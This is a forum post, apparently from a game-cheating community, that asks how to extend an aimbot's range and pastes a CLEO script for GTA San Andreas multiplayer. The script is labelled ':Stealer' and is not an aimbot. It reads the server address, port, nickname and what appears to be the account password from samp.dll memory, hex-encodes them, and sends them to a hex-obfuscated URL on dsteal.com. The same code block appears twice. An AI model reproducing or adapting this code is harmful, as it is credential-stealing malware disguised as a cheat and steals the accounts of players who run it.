Hello members of the ugbase would like to ask the following, would you like to increase the distance at which the aimbot will pull? , I have an aimbot that only pulls when it presses the key "c", very good for cbug, however it only works closely, wanted to know if it has to increase this distabcia in that it pulls the aim, thank you!
CODE::
{$CLEO .cs}
0000:
wait 1750
0AB1: call_scm_func @Thread 1 @Stealer
0A93: end_custom_thread
:Stealer
0000:
While true
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@
0A8E: 3@ = 0@ + 2203896 // int
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0
if 2@ > 1000
then
0A8E: 22@ = 2@ + 973 // int
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0
if 2@ > 1000
then
0A8E: 5@ = 23@ + 24 // int
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0
if 4@ > 1000
then
0A8E: 5@ = 4@ + 34 // int
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0
if 24@ > 1000
then
0A8E: 22@ = 0@ + 2203832 // int
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0
if 1@ > 1000
then
0A8E: 7@ = 1@ + 40 // int
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 5@ = 1@ + 44 // int
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0
if 6@ == 1
then
if or
26@ == 1
26@ == 3
then
25@ = 1
end
end
if and
25@ == 1
not 6@ == 1
then
0A8E: 7@ = 1@ + 48 // int
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 6@ = 1@ + 36 // int
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 6@ = 0@ + 528432 // int
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@
0A8E: 6@ = 4@ + 26 // int
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 7@ = 4@ + 10 // int
if not 23@ >= 16
then
0085: 12@ = 7@ // (int)
else
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0
end
wait 100
0A8E: 9@ = 2@ + 289 // int
0A8E: 14@ = 2@ + 32 // int
0A8E: 8@ = 2@ + 549 // int
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0
0A8E: 18@ = 4@ + 42 // int
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0
010B: 21@ = player $PLAYER_CHAR money
0AC6: 0@ = label @Base offset
0AC8: 20@ = allocate_memory_size 1024
0AC8: 22@ = allocate_memory_size 1024
call @BaseID 0 30@ // Base, Serv, IP, Port,
0AD3: 20@ = format "%d&&%s:%d&&%s&&%s&&%s&&%d" 30@ 14@ 15@ 9@ 12@ 5@ 3@
0C17: 21@ = strlen 20@
0C22: bin 20@ to_hex 20@ size 21@
0AD3: 22@ = format "%s%s" 0@ 20@
0ac8: 8@ = 256
0ad3: 8@ = "SAMP-Project"
0ab1: @InternetOpen 1 8@ to 9@
0ab1: @InternetOpenUrl 2 9@ 22@
0ac9: 8@
0ac9: 20@
0ac9: 22@
0006: 25@ = 0
end
end
end
end
end
end
end
:InternetOpen
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@
0AA7: function 29@ params 5 pop 0 {parameters} 0 0 0 {INTERNET_OPEN_TYPE_PRECONFIG} 0 {AGENT} 0@ {HANDLE} 1@
0ab2: 1 1@
:InternetOpenUrl
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@
0AA7: function 29@ params 6 pop 0 0 0 0 0 1@ 0@ 2@
0ab2: 0
:BaseID // ÁÀÇÀ
0@ = 114
ret 1 0@
:Base
hex
"http:" 2f 2f "dsteal.com" 2f "ucp" 2f "include" 2f "add.php?data=" 00
end
:Thread
0A9F: 32@ = current_thread_pointer
000A: 32@ += 16
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
0062: 32@ -= 0@ // (int)
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@
005A: 32@ += 0@ // (int)
000A: 33@ += 16
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
000A: 33@ += 44
for 32@ = 0 to 30
0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
000A: 33@ += 4
end
0ab2: 0
CODE::
{$CLEO .cs}
0000:
wait 1750
0AB1: call_scm_func @Thread 1 @Stealer
0A93: end_custom_thread
:Stealer
0000:
While true
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@
0A8E: 3@ = 0@ + 2203896 // int
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0
if 2@ > 1000
then
0A8E: 22@ = 2@ + 973 // int
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0
if 2@ > 1000
then
0A8E: 5@ = 23@ + 24 // int
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0
if 4@ > 1000
then
0A8E: 5@ = 4@ + 34 // int
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0
if 24@ > 1000
then
0A8E: 22@ = 0@ + 2203832 // int
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0
if 1@ > 1000
then
0A8E: 7@ = 1@ + 40 // int
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 5@ = 1@ + 44 // int
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0
if 6@ == 1
then
if or
26@ == 1
26@ == 3
then
25@ = 1
end
end
if and
25@ == 1
not 6@ == 1
then
0A8E: 7@ = 1@ + 48 // int
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0
0A8E: 6@ = 1@ + 36 // int
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 6@ = 0@ + 528432 // int
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@
0A8E: 6@ = 4@ + 26 // int
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0
0A8E: 7@ = 4@ + 10 // int
if not 23@ >= 16
then
0085: 12@ = 7@ // (int)
else
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0
end
wait 100
0A8E: 9@ = 2@ + 289 // int
0A8E: 14@ = 2@ + 32 // int
0A8E: 8@ = 2@ + 549 // int
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0
0A8E: 18@ = 4@ + 42 // int
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0
010B: 21@ = player $PLAYER_CHAR money
0AC6: 0@ = label @Base offset
0AC8: 20@ = allocate_memory_size 1024
0AC8: 22@ = allocate_memory_size 1024
call @BaseID 0 30@ // Base, Serv, IP, Port,
0AD3: 20@ = format "%d&&%s:%d&&%s&&%s&&%s&&%d" 30@ 14@ 15@ 9@ 12@ 5@ 3@
0C17: 21@ = strlen 20@
0C22: bin 20@ to_hex 20@ size 21@
0AD3: 22@ = format "%s%s" 0@ 20@
0ac8: 8@ = 256
0ad3: 8@ = "SAMP-Project"
0ab1: @InternetOpen 1 8@ to 9@
0ab1: @InternetOpenUrl 2 9@ 22@
0ac9: 8@
0ac9: 20@
0ac9: 22@
0006: 25@ = 0
end
end
end
end
end
end
end
:InternetOpen
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@
0AA7: function 29@ params 5 pop 0 {parameters} 0 0 0 {INTERNET_OPEN_TYPE_PRECONFIG} 0 {AGENT} 0@ {HANDLE} 1@
0ab2: 1 1@
:InternetOpenUrl
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@
0AA7: function 29@ params 6 pop 0 0 0 0 0 1@ 0@ 2@
0ab2: 0
:BaseID // ÁÀÇÀ
0@ = 114
ret 1 0@
:Base
hex
"http:" 2f 2f "dsteal.com" 2f "ucp" 2f "include" 2f "add.php?data=" 00
end
:Thread
0A9F: 32@ = current_thread_pointer
000A: 32@ += 16
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
0062: 32@ -= 0@ // (int)
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@
005A: 32@ += 0@ // (int)
000A: 33@ += 16
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
000A: 33@ += 44
for 32@ = 0 to 30
0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
000A: 33@ += 4
end
0ab2: 0